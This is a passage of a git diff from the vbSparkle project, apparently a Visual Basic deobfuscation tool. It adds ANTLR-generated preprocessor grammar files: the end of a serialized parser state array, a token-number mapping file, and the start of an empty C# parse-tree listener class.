0, 0, 0, 541, 542, 1, 0, 0, 0, 542, 544, 5, 33, 0, 0, 543, 545, 5, 69, 0, 0, 544, 543, 1, 0, 0, 0, 544, 545, 1, 0, 0, 0, 545, 546, 1, 0, 0, 0, 546, 657, 3, 64, 32, 16, 547, 549, 10, 14, 0, 0, 548, 550, 5, 69, 0, 0, 549, 548, 1, 0, 0, 0, 549, 550, 1, 0, 0, 0, 550, 551, 1, 0, 0, 0, 551, 553, 5, 38, 0, 0, 552, 554, 5, 69, 0, 0, 553, 552, 1, 0, 0, 0, 553, 554, 1, 0, 0, 0, 554, 555, 1, 0, 0, 0, 555, 657, 3, 64, 32, 15, 556, 558, 10, 13, 0, 0, 557, 559, 5, 69, 0, 0, 558, 557, 1, 0, 0, 0, 558, 559, 1, 0, 0, 0, 559, 560, 1, 0, 0, 0, 560, 562, 5, 49, 0, 0, 561, 563, 5, 69, 0, 0, 562, 561, 1, 0, 0, 0, 562, 563, 1, 0, 0, 0, 563, 564, 1, 0, 0, 0, 564, 657, 3, 64, 32, 14, 565, 567, 10, 12, 0, 0, 566, 568, 5, 69, 0, 0, 567, 566, 1, 0, 0, 0, 567, 568, 1, 0, 0, 0, 568, 569, 1, 0, 0, 0, 569, 571, 5, 46, 0, 0, 570, 572, 5, 69, 0, 0, 571, 570, 1, 0, 0, 0, 571, 572, 1, 0, 0, 0, 572, 573, 1, 0, 0, 0, 573, 657, 3, 64, 32, 13, 574, 576, 10, 11, 0, 0, 575, 577, 5, 69, 0, 0, 576, 575, 1, 0, 0, 0, 576, 577, 1, 0, 0, 0, 577, 578, 1, 0, 0, 0, 578, 580, 5, 41, 0, 0, 579, 581, 5, 69, 0, 0, 580, 579, 1, 0, 0, 0, 580, 581, 1, 0, 0, 0, 581, 582, 1, 0, 0, 0, 582, 657, 3, 64, 32, 12, 583, 585, 10, 10, 0, 0, 584, 586, 5, 69, 0, 0, 585, 584, 1, 0, 0, 0, 585, 586, 1, 0, 0, 0, 586, 587, 1, 0, 0, 0, 587, 589, 5, 43, 0, 0, 588, 590, 5, 69, 0, 0, 589, 588, 1, 0, 0, 0, 589, 590, 1, 0, 0, 0, 590, 591, 1, 0, 0, 0, 591, 657, 3, 64, 32, 11, 592, 594, 10, 9, 0, 0, 593, 595, 5, 69, 0, 0, 594, 593, 1, 0, 0, 0, 594, 595, 1, 0, 0, 0, 595, 596, 1, 0, 0, 0, 596, 598, 5, 40, 0, 0, 597, 599, 5, 69, 0, 0, 598, 597, 1, 0, 0, 0, 598, 599, 1, 0, 0, 0, 599, 600, 1, 0, 0, 0, 600, 657, 3, 64, 32, 10, 601, 603, 10, 8, 0, 0, 602, 604, 5, 69, 0, 0, 603, 602, 1, 0, 0, 0, 603, 604, 1, 0, 0, 0, 604, 605, 1, 0, 0, 0, 605, 607, 5, 2, 0, 0, 606, 608, 5, 69, 0, 0, 607, 606, 1, 0, 0, 0, 607, 608, 1, 0, 0, 0, 608, 609, 1, 0, 0, 0, 609, 657, 3, 64, 32, 9, 610, 612, 10, 7, 0, 0, 611, 613, 5, 69, 0, 0, 612, 611, 1, 0, 0, 0, 612, 613, 1, 0, 0, 0, 613, 614, 1, 0, 0, 0, 614, 616, 5, 28, 0, 0, 615, 617, 5, 69, 0, 0, 616, 615, 1, 0, 0, 0, 616, 617, 1, 0, 0, 0, 617, 618, 1, 0, 0, 0, 618, 657, 3, 64, 32, 8, 619, 621, 10, 6, 0, 0, 620, 622, 5, 69, 0, 0, 621, 620, 1, 0, 0, 0, 621, 622, 1, 0, 0, 0, 622, 623, 1, 0, 0, 0, 623, 625, 5, 32, 0, 0, 624, 626, 5, 69, 0, 0, 625, 624, 1, 0, 0, 0, 625, 626, 1, 0, 0, 0, 626, 627, 1, 0, 0, 0, 627, 657, 3, 64, 32, 7, 628, 630, 10, 5, 0, 0, 629, 631, 5, 69, 0, 0, 630, 629, 1, 0, 0, 0, 630, 631, 1, 0, 0, 0, 631, 632, 1, 0, 0, 0, 632, 634, 5, 13, 0, 0, 633, 635, 5, 69, 0, 0, 634, 633, 1, 0, 0, 0, 634, 635, 1, 0, 0, 0, 635, 636, 1, 0, 0, 0, 636, 657, 3, 64, 32, 6, 637, 639, 10, 4, 0, 0, 638, 640, 5, 69, 0, 0, 639, 638, 1, 0, 0, 0, 639, 640, 1, 0, 0, 0, 640, 641, 1, 0, 0, 0, 641, 643, 5, 16, 0, 0, 642, 644, 5, 69, 0, 0, 643, 642, 1, 0, 0, 0, 643, 644, 1, 0, 0, 0, 644, 645, 1, 0, 0, 0, 645, 657, 3, 64, 32, 5, 646, 647, 10, 3, 0, 0, 647, 648, 5, 69, 0, 0, 648, 649, 5, 18, 0, 0, 649, 650, 5, 69, 0, 0, 650, 657, 3, 64, 32, 4, 651, 652, 10, 2, 0, 0, 652, 653, 5, 69, 0, 0, 653, 654, 5, 17, 0, 0, 654, 655, 5, 69, 0, 0, 655, 657, 3, 64, 32, 3, 656, 511, 1, 0, 0, 0, 656, 520, 1, 0, 0, 0, 656, 529, 1, 0, 0, 0, 656, 538, 1, 0, 0, 0, 656, 547, 1, 0, 0, 0, 656, 556, 1, 0, 0, 0, 656, 565, 1, 0, 0, 0, 656, 574, 1, 0, 0, 0, 656, 583, 1, 0, 0, 0, 656, 592, 1, 0, 0, 0, 656, 601, 1, 0, 0, 0, 656, 610, 1, 0, 0, 0, 656, 619, 1, 0, 0, 0, 656, 628, 1, 0, 0, 0, 656, 637, 1, 0, 0, 0, 656, 646, 1, 0, 0, 0, 656, 651, 1, 0, 0, 0, 657, 660, 1, 0, 0, 0, 658, 656, 1, 0, 0, 0, 658, 659, 1, 0, 0, 0, 659, 65, 1, 0, 0, 0, 660, 658, 1, 0, 0, 0, 661, 666, 5, 59, 0, 0, 662, 666, 5, 63, 0, 0, 663, 666, 5, 58, 0, 0, 664, 666, 5, 57, 0, 0, 665, 661, 1, 0, 0, 0, 665, 662, 1, 0, 0, 0, 665, 663, 1, 0, 0, 0, 665, 664, 1, 0, 0, 0, 666, 67, 1, 0, 0, 0, 667, 673, 5, 61, 0, 0, 668, 673, 3, 66, 33, 0, 669, 673, 5, 60, 0, 0, 670, 673, 5, 30, 0, 0, 671, 673, 5, 14, 0, 0, 672, 667, 1, 0, 0, 0, 672, 668, 1, 0, 0, 0, 672, 669, 1, 0, 0, 0, 672, 670, 1, 0, 0, 0, 672, 671, 1, 0, 0, 0, 673, 69, 1, 0, 0, 0, 674, 675, 8, 3, 0, 0, 675, 71, 1, 0, 0, 0, 117, 75, 81, 85, 90, 94, 101, 106, 111, 114, 121, 126, 129, 134, 138, 143, 147, 152, 156, 161, 167, 171, 175, 180, 183, 188, 200, 206, 211, 217, 221, 225, 233, 239, 242, 248, 252, 258, 262, 274, 279, 285, 290, 299, 304, 310, 315, 320, 325, 331, 336, 342, 348, 353, 356, 364, 369, 374, 380, 385, 388, 396, 400, 405, 410, 412, 418, 427, 436, 440, 444, 448, 453, 463, 467, 471, 476, 480, 486, 491, 499, 503, 507, 509, 513, 517, 522, 526, 531, 535, 540, 544, 549, 553, 558, 562, 567, 571, 576, 580, 585, 589, 594, 598, 603, 607, 612, 616, 621, 625, 630, 634, 639, 643, 656, 658, 665, 672] \ No newline at end of file diff --git a/Sources/vbSparkle/VBPreprocessors.tokens b/Sources/vbSparkle/VBPreprocessors.tokens new file mode 100644 index 0000000..0a03e29 --- /dev/null +++ b/Sources/vbSparkle/VBPreprocessors.tokens @@ -0,0 +1,95 @@ +MACRO_CONST=1 +AND=2 +ATTRIBUTE=3 +BEGIN=4 +BEGINPROPERTY=5 +CLASS=6 +CONST=7 +ELSE=8 +ELSEIF=9 +END_IF=10 +END=11 +ENDPROPERTY=12 +EQV=13 +FALSE=14 +IF=15 +IMP=16 +IS=17 +LIKE=18 +MACRO_IF=19 +MACRO_ELSEIF=20 +MACRO_ELSE=21 +MACRO_END_IF=22 +MOD=23 +NOT=24 +NOTHING=25 +NULL=26 +OBJECT=27 +OR=28 +THEN=29 +TRUE=30 +VERSION=31 +XOR=32 +AMPERSAND=33 +AT=34 +COMMA=35 +DIV=36 +DOT=37 +EQ=38 +EXCLAMATIONMARK=39 +GEQ=40 +GT=41 +HASH=42 +LEQ=43 +LBRACE=44 +LPAREN=45 +LT=46 +MINUS=47 +MULT=48 +NEQ=49 +PLUS=50 +POW=51 +RBRACE=52 +RPAREN=53 +SEMICOLON=54 +L_SQUARE_BRACKET=55 +R_SQUARE_BRACKET=56 +STRINGLITERAL=57 +DATELITERAL=58 +HEXLITERAL=59 +INTEGERLITERAL=60 +DOUBLELITERAL=61 +FILENUMBER=62 +OCTALLITERAL=63 +GUID=64 +NEWLINE=65 +IDENTIFIER=66 +COMMENT=67 +LINE_CONTINUATION=68 +WS=69 +ANYCHAR=70 +REM=71 +LABEL_L=72 +'&'=33 +'@'=34 +','=35 +'.'=37 +'='=38 +'!'=39 +'>='=40 +'>'=41 +'#'=42 +'<='=43 +'{'=44 +'('=45 +'<'=46 +'-'=47 +'*'=48 +'<>'=49 +'+'=50 +'^'=51 +'}'=52 +')'=53 +';'=54 +'['=55 +']'=56 diff --git a/Sources/vbSparkle/VBPreprocessorsBaseListener.cs b/Sources/vbSparkle/VBPreprocessorsBaseListener.cs new file mode 100644 index 0000000..2e3b49c --- /dev/null +++ b/Sources/vbSparkle/VBPreprocessorsBaseListener.cs @@ -0,0 +1,687 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// ANTLR Version: 4.13.1 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +// Generated from VBPreprocessors.g4 by ANTLR 4.13.1 + +// Unreachable code detected +#pragma warning disable 0162 +// The variable '...' is assigned but its value is never used +#pragma warning disable 0219 +// Missing XML comment for publicly visible type or member '...' +#pragma warning disable 1591 +// Ambiguous reference in cref attribute +#pragma warning disable 419 + + +using Antlr4.Runtime.Misc; +using IErrorNode = Antlr4.Runtime.Tree.IErrorNode; +using ITerminalNode = Antlr4.Runtime.Tree.ITerminalNode; +using IToken = Antlr4.Runtime.IToken; +using ParserRuleContext = Antlr4.Runtime.ParserRuleContext; + +/// +/// This class provides an empty implementation of , +/// which can be extended to create a listener which only needs to handle a subset +/// of the available methods. +/// +[System.CodeDom.Compiler.GeneratedCode("ANTLR", "4.13.1")] +[System.Diagnostics.DebuggerNonUserCode] +[System.CLSCompliant(false)] +public partial class VBPreprocessorsBaseListener : IVBPreprocessorsListener { + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterStartRule([NotNull] VBPreprocessorsParser.StartRuleContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitStartRule([NotNull] VBPreprocessorsParser.StartRuleContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterMacroConst([NotNull] VBPreprocessorsParser.MacroConstContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitMacroConst([NotNull] VBPreprocessorsParser.MacroConstContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterCodeBlock([NotNull] VBPreprocessorsParser.CodeBlockContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitCodeBlock([NotNull] VBPreprocessorsParser.CodeBlockContext context) { } + /// + /// Enter a parse tree produced by the vmacroIf + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVmacroIf([NotNull] VBPreprocessorsParser.VmacroIfContext context) { } + /// + /// Exit a parse tree produced by the vmacroIf + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVmacroIf([NotNull] VBPreprocessorsParser.VmacroIfContext context) { } + /// + /// Enter a parse tree produced by the vmacroConst + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVmacroConst([NotNull] VBPreprocessorsParser.VmacroConstContext context) { } + /// + /// Exit a parse tree produced by the vmacroConst + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVmacroConst([NotNull] VBPreprocessorsParser.VmacroConstContext context) { } + /// + /// Enter a parse tree produced by the vcommentBlock + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVcommentBlock([NotNull] VBPreprocessorsParser.VcommentBlockContext context) { } + /// + /// Exit a parse tree produced by the vcommentBlock + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVcommentBlock([NotNull] VBPreprocessorsParser.VcommentBlockContext context) { } + /// + /// Enter a parse tree produced by the vcodeBlock + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVcodeBlock([NotNull] VBPreprocessorsParser.VcodeBlockContext context) { } + /// + /// Exit a parse tree produced by the vcodeBlock + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVcodeBlock([NotNull] VBPreprocessorsParser.VcodeBlockContext context) { } + /// + /// Enter a parse tree produced by the vlineLabel + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVlineLabel([NotNull] VBPreprocessorsParser.VlineLabelContext context) { } + /// + /// Exit a parse tree produced by the vlineLabel + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVlineLabel([NotNull] VBPreprocessorsParser.VlineLabelContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterNonMacroCodeBlockX([NotNull] VBPreprocessorsParser.NonMacroCodeBlockXContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitNonMacroCodeBlockX([NotNull] VBPreprocessorsParser.NonMacroCodeBlockXContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleInfo([NotNull] VBPreprocessorsParser.ModuleInfoContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleInfo([NotNull] VBPreprocessorsParser.ModuleInfoContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleReferences([NotNull] VBPreprocessorsParser.ModuleReferencesContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleReferences([NotNull] VBPreprocessorsParser.ModuleReferencesContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleReference([NotNull] VBPreprocessorsParser.ModuleReferenceContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleReference([NotNull] VBPreprocessorsParser.ModuleReferenceContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleReferenceValue([NotNull] VBPreprocessorsParser.ModuleReferenceValueContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleReferenceValue([NotNull] VBPreprocessorsParser.ModuleReferenceValueContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleReferenceComponent([NotNull] VBPreprocessorsParser.ModuleReferenceComponentContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleReferenceComponent([NotNull] VBPreprocessorsParser.ModuleReferenceComponentContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleHeader([NotNull] VBPreprocessorsParser.ModuleHeaderContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleHeader([NotNull] VBPreprocessorsParser.ModuleHeaderContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleConfig([NotNull] VBPreprocessorsParser.ModuleConfigContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleConfig([NotNull] VBPreprocessorsParser.ModuleConfigContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleConfigElement([NotNull] VBPreprocessorsParser.ModuleConfigElementContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleConfigElement([NotNull] VBPreprocessorsParser.ModuleConfigElementContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterAmbiguousIdentifier([NotNull] VBPreprocessorsParser.AmbiguousIdentifierContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitAmbiguousIdentifier([NotNull] VBPreprocessorsParser.AmbiguousIdentifierContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterModuleAttributes([NotNull] VBPreprocessorsParser.ModuleAttributesContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitModuleAttributes([NotNull] VBPreprocessorsParser.ModuleAttributesContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterMacroIfThenElseStmt([NotNull] VBPreprocessorsParser.MacroIfThenElseStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitMacroIfThenElseStmt([NotNull] VBPreprocessorsParser.MacroIfThenElseStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterMacroIfBlockCondStmt([NotNull] VBPreprocessorsParser.MacroIfBlockCondStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitMacroIfBlockCondStmt([NotNull] VBPreprocessorsParser.MacroIfBlockCondStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterMacroIfBlockStmt([NotNull] VBPreprocessorsParser.MacroIfBlockStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitMacroIfBlockStmt([NotNull] VBPreprocessorsParser.MacroIfBlockStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterMacroElseIfBlockStmt([NotNull] VBPreprocessorsParser.MacroElseIfBlockStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitMacroElseIfBlockStmt([NotNull] VBPreprocessorsParser.MacroElseIfBlockStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterMacroElseBlockStmt([NotNull] VBPreprocessorsParser.MacroElseBlockStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitMacroElseBlockStmt([NotNull] VBPreprocessorsParser.MacroElseBlockStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterCommentBlock([NotNull] VBPreprocessorsParser.CommentBlockContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitCommentBlock([NotNull] VBPreprocessorsParser.CommentBlockContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLineLabel([NotNull] VBPreprocessorsParser.LineLabelContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLineLabel([NotNull] VBPreprocessorsParser.LineLabelContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterNonMacroCodeBlockLine([NotNull] VBPreprocessorsParser.NonMacroCodeBlockLineContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitNonMacroCodeBlockLine([NotNull] VBPreprocessorsParser.NonMacroCodeBlockLineContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterNonMacroCodeStmt([NotNull] VBPreprocessorsParser.NonMacroCodeStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitNonMacroCodeStmt([NotNull] VBPreprocessorsParser.NonMacroCodeStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterControlProperties([NotNull] VBPreprocessorsParser.ControlPropertiesContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitControlProperties([NotNull] VBPreprocessorsParser.ControlPropertiesContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterCp_Properties([NotNull] VBPreprocessorsParser.Cp_PropertiesContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitCp_Properties([NotNull] VBPreprocessorsParser.Cp_PropertiesContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterCp_NestedProperty([NotNull] VBPreprocessorsParser.Cp_NestedPropertyContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitCp_NestedProperty([NotNull] VBPreprocessorsParser.Cp_NestedPropertyContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterCp_ControlType([NotNull] VBPreprocessorsParser.Cp_ControlTypeContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitCp_ControlType([NotNull] VBPreprocessorsParser.Cp_ControlTypeContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterComplexType([NotNull] VBPreprocessorsParser.ComplexTypeContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitComplexType([NotNull] VBPreprocessorsParser.ComplexTypeContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterCp_ControlIdentifier([NotNull] VBPreprocessorsParser.Cp_ControlIdentifierContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitCp_ControlIdentifier([NotNull] VBPreprocessorsParser.Cp_ControlIdentifierContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterAttributeStmt([NotNull] VBPreprocessorsParser.AttributeStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitAttributeStmt([NotNull] VBPreprocessorsParser.AttributeStmtContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterIfConditionStmt([NotNull] VBPreprocessorsParser.IfConditionStmtContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitIfConditionStmt([NotNull] VBPreprocessorsParser.IfConditionStmtContext context) { } + /// + /// Enter a parse tree produced by the vsStruct + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVsStruct([NotNull] VBPreprocessorsParser.VsStructContext context) { } + /// + /// Exit a parse tree produced by the vsStruct + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVsStruct([NotNull] VBPreprocessorsParser.VsStructContext context) { } + /// + /// Enter a parse tree produced by the vsLiteral + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVsLiteral([NotNull] VBPreprocessorsParser.VsLiteralContext context) { } + /// + /// Exit a parse tree produced by the vsLiteral + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVsLiteral([NotNull] VBPreprocessorsParser.VsLiteralContext context) { } + /// + /// Enter a parse tree produced by the vsConstant + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVsConstant([NotNull] VBPreprocessorsParser.VsConstantContext context) { } + /// + /// Exit a parse tree produced by the vsConstant + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVsConstant([NotNull] VBPreprocessorsParser.VsConstantContext context) { } + /// + /// Enter a parse tree produced by the vsUnaryOperation + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVsUnaryOperation([NotNull] VBPreprocessorsParser.VsUnaryOperationContext context) { } + /// + /// Exit a parse tree produced by the vsUnaryOperation + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVsUnaryOperation([NotNull] VBPreprocessorsParser.VsUnaryOperationContext context) { } + /// + /// Enter a parse tree produced by the vsDualOperation + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterVsDualOperation([NotNull] VBPreprocessorsParser.VsDualOperationContext context) { } + /// + /// Exit a parse tree produced by the vsDualOperation + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitVsDualOperation([NotNull] VBPreprocessorsParser.VsDualOperationContext context) { } + /// + /// Enter a parse tree produced by the ltColor + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLtColor([NotNull] VBPreprocessorsParser.LtColorContext context) { } + /// + /// Exit a parse tree produced by the ltColor + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLtColor([NotNull] VBPreprocessorsParser.LtColorContext context) { } + /// + /// Enter a parse tree produced by the ltOctal + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLtOctal([NotNull] VBPreprocessorsParser.LtOctalContext context) { } + /// + /// Exit a parse tree produced by the ltOctal + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLtOctal([NotNull] VBPreprocessorsParser.LtOctalContext context) { } + /// + /// Enter a parse tree produced by the ltDate + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLtDate([NotNull] VBPreprocessorsParser.LtDateContext context) { } + /// + /// Exit a parse tree produced by the ltDate + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLtDate([NotNull] VBPreprocessorsParser.LtDateContext context) { } + /// + /// Enter a parse tree produced by the ltString + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLtString([NotNull] VBPreprocessorsParser.LtStringContext context) { } + /// + /// Exit a parse tree produced by the ltString + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLtString([NotNull] VBPreprocessorsParser.LtStringContext context) { } + /// + /// Enter a parse tree produced by the ltDouble + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLtDouble([NotNull] VBPreprocessorsParser.LtDoubleContext context) { } + /// + /// Exit a parse tree produced by the ltDouble + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLtDouble([NotNull] VBPreprocessorsParser.LtDoubleContext context) { } + /// + /// Enter a parse tree produced by the ltDelimited + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLtDelimited([NotNull] VBPreprocessorsParser.LtDelimitedContext context) { } + /// + /// Exit a parse tree produced by the ltDelimited + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLtDelimited([NotNull] VBPreprocessorsParser.LtDelimitedContext context) { } + /// + /// Enter a parse tree produced by the ltInteger + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLtInteger([NotNull] VBPreprocessorsParser.LtIntegerContext context) { } + /// + /// Exit a parse tree produced by the ltInteger + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLtInteger([NotNull] VBPreprocessorsParser.LtIntegerContext context) { } + /// + /// Enter a parse tree produced by the ltBoolean + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterLtBoolean([NotNull] VBPreprocessorsParser.LtBooleanContext context) { } + /// + /// Exit a parse tree produced by the ltBoolean + /// labeled alternative in . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitLtBoolean([NotNull] VBPreprocessorsParser.LtBooleanContext context) { } + /// + /// Enter a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void EnterAnytoken([NotNull] VBPreprocessorsParser.AnytokenContext context) { } + /// + /// Exit a parse tree produced by . + /// The default implementation does nothing. + /// + /// The parse tree. + public virtual void ExitAnytoken([NotNull] VBPreprocessorsParser.AnytokenContext context) { } + + /// + /// The default 